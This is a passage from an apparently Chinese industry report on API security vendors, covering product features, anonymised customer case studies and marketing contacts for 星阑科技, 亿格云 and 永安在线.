针对该银行客户的需求,经过业务深入理解和调研讨论,星阑科技建立了 API 安全管理体 系,形成 API 全生命周期模型,在各个位点植入安全能力,从而全面提升整体 API 安全水 位,围绕 API 的“设计、开发、运行、下线”等不同阶段建立 API 全生命周期安全技术能 力,同时建立 API 安全生产管理制度与流程加以管控。 91 ⚫ 案例 B:互联网行业 API 安全解决方案 某互联网公司云平台有多个对外商业化 SaaS 业务,API 访问量极大,内网网络拓扑复杂。 公司自建了 API 网关,公司外部、内部定期组织攻防演练,API 成为主要攻击面。在此背景 下,公司需要通过网关层持续发现未纳入安全管控的影子 API。同时,建立持续化 API 攻击 监测及溯源能力。 92 星阑科技通过软件部署模式,针对两种 API 数据采集点位,以自建 API 网关进行导流,分 别进行七层日志实时分析、小时级 pcap 分析。部署完成后,由客户红队安全工程师模拟多 种攻击方式,对比同类产品检出率最高。 ⚫ 案例 C:企业应用 API 安全解决方案 企业在 API 安全建设的过程中有三大难点:资产理不清、链路看不见、滥用管不住。首先, 企业应明确每个 API 的生命周期,从开发到测试到线上应用以及对外开放的过程中存在哪 些风险;其次,企业应对每个 API 的通信过程有良好的管理和监控,以便第一时间发现攻击 者的行为;最终,企业应有足够的数据分析和威胁建模能力来识别每一次针对 API 的入侵 事件以及数据泄露、滥用事件,即使阻断或响应威胁。 93 因此,基于大数据技术和智能分析的 API 威胁检测产品应运而生。星阑科技推出萤火 API 安 全分析平台,旨在协助企业更快更准地检测 API 应用入侵和数据泄露行为,从而减少企业 造成的损失。 ⚫ 案例 D:电信行业 API 安全解决方案 随着行业云的成熟及其在电信领域落地,针对运营商复杂的业务系统以及能力平台、数据平 台的统一数据开放共享需要。一方面,电信行业在能力、数据开放的过程中面对安全相关监 管合规要求复杂;另一方面,系统及业务间存在大量的 API 数据交换,难以理清并管控。在 此背景下,星阑科技结合电信行业云的架构特点和业务特点,提出了混合云多资产统一 API 安全管控解决方案,兼顾云上云下的多个业务系统。 94 随着 API 的使用场景和频率的持续增加,API 平台(解决方案)厂商、APM 厂商,研发效能 厂商、云厂商与新一代 API Infra 厂商构建了 API 基础设施体系,并由 API 服务商、API 平 台提供者、DevOps 融合、API 安全厂商在其上提供相应的附加能力。通过底层基础设施+ 上层应用的方式,形成了贯穿整个 API 流程的基础设施生态体系。 4.适用行业:全行业 API 安全 5. 写给甲方的寄语(甲方选购理由): 在企业数字化转型过程中,随着 API 资产增加与数据安全合规要求的日趋成熟,企业安全 建设的难点已经由关注资产、漏洞转为关注应用、业务。星阑科技作为国内首批专注于 API 安全领域的厂商,依托深入的攻防能力和数据智能,为企业提供 API 资产管理、API 威胁监 测、API 数据安全的一体化解决方案。该方案已在金融、运营商、互联网、政府等数十个大 型企业得到验证。未来我们将持续深耕安全技术,赋能更多企业完成数字化安全建设。 星阑科技 CTO-徐越 95 6. 联系人信息: 姓名:郝明 职位:市场总监 电话:18600686192 96 杭州亿格云科技有限公司 1.产品名称:亿格云枢 2.产品特点及优势: 产品特点:基于零信任 SASE 架构的平台级 API 安全访问决策中心 产品优势: 优势 A:免改造应用,快速实现业务与安全融合 优势 B:基于零信任理念,无任何 API 资产暴露 优势 C:自动梳理 API 被访问关系,并深度解析访问请求及内容,进行 API 敏感画像 优势 D:智能分析高敏感 API 资产,可实现细粒度的 API 访问权限控制,管控数据下载 优势 E:对 API 涉及到的高敏感结构化数据进行动态脱敏、数据混淆等处置 优势 F:对访问 API 下载的非结构化敏感数据进行 DLP 识别、数据打标等处置 97 3.成功案例: 案例 A:某智能制造大型企业办公应用 API 访问控制项目 案例 B:某物联网科技平台企业业务 API 零信任访问控制项目 4.适用行业:互联网、金融、教育、零售电商、智能制造、企业服务、游戏娱乐、汽车 5.甲方寄语: 亿格云是红杉中国唯一投资的零信任 SASE 安全厂商,一体化的 SASE 架构打破了企业需 要部署 10 多个安全产品且产品间孤立的现状,将 API 安全能力无缝融合在网络访问过程 中,并与零信任访问、DLP 能力结合发挥最大价值,提高安全效果并降低运营成本。 核心团队人员来自阿里云安全的产品和业务骨干,打造过多个亿级安全产品线,曾服务超 过 10 万+企业,拥有丰富的网络安全从业经验。公司已获得 AIOT、零售、电商、金融、 教育、游戏等行业的几十家头部企业客户的认可。 亿格云联合创始人 叶敏 6. 联系人信息: 姓名:王璐瑶 职位:市场品牌 电话:15168325753 98 99 深圳永安在线科技有限公司 1.产品名称:API 安全管控平台 2.产品特点及优势: 产品特点: 1.API 资产动态梳理:自研的专利技术实现自动化梳理 API 资产台账,帮助企业发现所有 API,对 API 进行场景分类与风险等级评估,实现 API 资产的可视化管理。 2.涉敏数据梳理审计:支持 84+类涉敏数据的识别与自定义数据分级分类,检测涉敏数据的 流动,审计涉敏数据出境情况,有效评估合规风险。 3.API 缺陷持续评估:基于风险情报和攻防驱动,全面持续评估 API 缺陷,支持 7 大类、 54+项的缺陷监测,通过样例可视化和自动化验证提升缺陷修复效率。 4.API 攻击精准感知:自研的专利技术,基于风险情报构建 API 行为基线,持续发现 API 攻 击风险,支持输出多维度 IOC 指标,联动实现风险自动化阻断。 5.数据合规审计溯源:记录访问者操作日志,提供审计依据,支持批量涉敏数据溯源,感知 泄露源头。 6.系统访问账号管理:持续动态的梳理访问账号,审计账号访问行为,监测敏感数据的访问 100 情况,及时掌握账号异常风险。 7.系统访问 IP 管理:持续动态梳理访问 IP,提供地域、类型、情报等多维度分析,监测敏 感数据的访问情况、路径扫描、漏洞扫描等攻击风险,全面直观的了解访问 IP 的行为和风 险。 8.风险情报溯源:结合风险情报,对攻击流量进行溯源分析,提炼攻击者的来源和攻击特征, 提高攻防响应的效率。 产品优势: 优势 A:业务零干扰:采用旁路部署模式,不需要更改现有网络架构,不影响业务连续性。 优势 B:识别高精准:基于专利和情报技术的 API 资产梳理、API 漏洞检测、API 风险监测 的能力,识别精准度高,平均准确率达 97.8%。 优势 C:范围覆盖全:支持 84+类敏感数据识别、54+项缺陷评估、27+种风险检测,检测 引擎动态更新。 优势 D:高效自动化:资产梳理自动化,资产管理可视化,缺陷验证自动化,风险情报秒级 更新。 3.成功案例: 案例 A: 互联网客户案例 客户背景: 某互联网综合平台,随着业务规模的拓展,经常出现针对账号的攻击、用户数据泄露事件, 安全部门希望在安全治理方向做进一步的提升。 101 问题与挑战: 1、有大规模 API 资产,缺乏有效的管控手段:业务所涉及到的 API 很多,很多老系统,没 有台账心里也没底,人工梳理难度高,不知道如何切入; 2、对 API 资产的状态、缺陷等情况,缺乏有效的监控措施:新增了多少 API、哪些 API 失 活该下线、哪些 API 输出了敏感数据,哪些 API 有漏洞,不清楚; 3、由 API 安全导致的数据额泄露事件,缺少有效的发现机制:发生过数据泄露事件,攻击 者通过哪些 API 爬取数据、攻击特征和手法,不清楚。 产品价值: API 安全管控平台帮助客户实现资产台账可见,整理出 API 36000+,出站涉敏 API 2400+, 涉及敏感数据类型 21 类,每周新增的 API 梳理 250+,僵尸 API30+;累计发现和修复 API 缺陷 3000+个,涉及未授权、越权访问、数据过度暴露、弱密码等高危缺陷 400+;累计发 现被攻击 API 事件 100+,检测到数据爬虫、账号恶意注册、薅羊毛攻击、IP 漏洞扫描等攻 击事件,并协助客户联动 WAF 对攻击流量进行了阻断。 案例 B: 金融客户案例 客户背景:某证券客户,因为涉及到大量的人工客服和经纪人,经常会出现内鬼导致的数据 泄露事件,安全部门希望做好数据安全的审计和治理,在护网中不被攻击。 问题与挑战: 1、有大规模 API 资产,账号,缺乏有效的管控手段:内部人员众多,角色多,运营系统多, 内部运营系统 API 梳理和账号访问审计,不知道如何切入; 102 2、对 API 资产的状态、缺陷等情况,缺乏有效的监控措施:新增了多少 API、哪些 API 输 出了敏感数据,哪些 API 有未授权的漏洞,不清楚; 3、内鬼导致数据额泄露事件,缺少有效的发现机制:发生过数据泄露事件,什么内部人员 违规操作哪些 API 获取数据,不清楚。 产品价值: API 安全管控平台帮助客户实现资产台账可见,整理出 API 2600+,出站涉敏 API 390+, 涉及敏感数据类型 19 类。关联员工账号 1370+,僵尸账号 10+。 累计发现和修复 API 缺 陷 770+个,涉及未授权、越权访问、数据伪脱敏、数据明文传输等高危缺陷 190+ 累计发 现内部数据泄露账号 5 个,违规借用账号 8 个。累计发现 API 被攻击事件 30+起,涉及账 号撞库、漏洞扫描、短信 API 滥用等风险。 案例 C: 政企客户案例 客户背景:某政务系统供应商的服务器私自与政务平台某接口持续通信,长时间慢速调取公 民信息,包括公民姓名、身份证号、地址等,政务数据在共享过程中数据状况难看清、数据 风险难监测、 数据泄密难溯源成为政府数据安全建设的重点关注内容。 问题挑战: 1、对于政务共享过程中的数据状况难看清:政务共享数据有非常多开放的共享接口,对于 这类接多少,那些接口有问题是不清楚的; 2、数据业务流程长,接触人员变多,流动数据难检测:业务有办公、研发、第三方人员访 问,访问的人员非常多,对于其中流动的数据非常难检测; 103 3、共享接口引发的数据泄露事件,缺少有效检测机制:对于业务的异常通信行为,缺乏有 效的检测溯源机制。 产品价值: API 安全管控平台帮助客户实现资产台账可见,整理出 API 500+,逐一排查下 线掉不符合企业安全规范的 API,例如发现的僵尸、多版本、重复功能等的 API;出站涉敏 API 150+,涉及敏感数据类型 7 类,包括密码,账号,姓名等;累计发现 85+个 API 存在 安全缺陷,发现存在泄露风险被攻击的 API 共 14 个,累计发现异常的违规借用账号 8 个。 4.适用行业: 互联网、金融(保险、证券、银行)、政企、传媒、零售、餐饮、物流、能源企业等 5.甲方寄语: 与传统基于规则引擎的 Web 应用网关等产品不同,永安在线 API 安全管控平台基于 情报(如攻击者利用的 IP、自动化工具等资源)为企业的业务建立 API 安全基线,能更有 效地发现 API 攻击和数据泄漏风险。 同时,基于情报能力可以持续跟踪攻击者如何利用新型漏洞来进行攻击,提取和分析 新型攻击面和攻击特征,持续优化 API 漏洞检测引擎,从而覆盖更多业务场景下 API 的逻 辑漏洞及开源系统 API 的未授权漏洞等。 ——永安在线 CEO 毕裕 6.联系人信息: 姓名:胡佩佩 职位:品宣负责人 104 电话:13580347539
pdf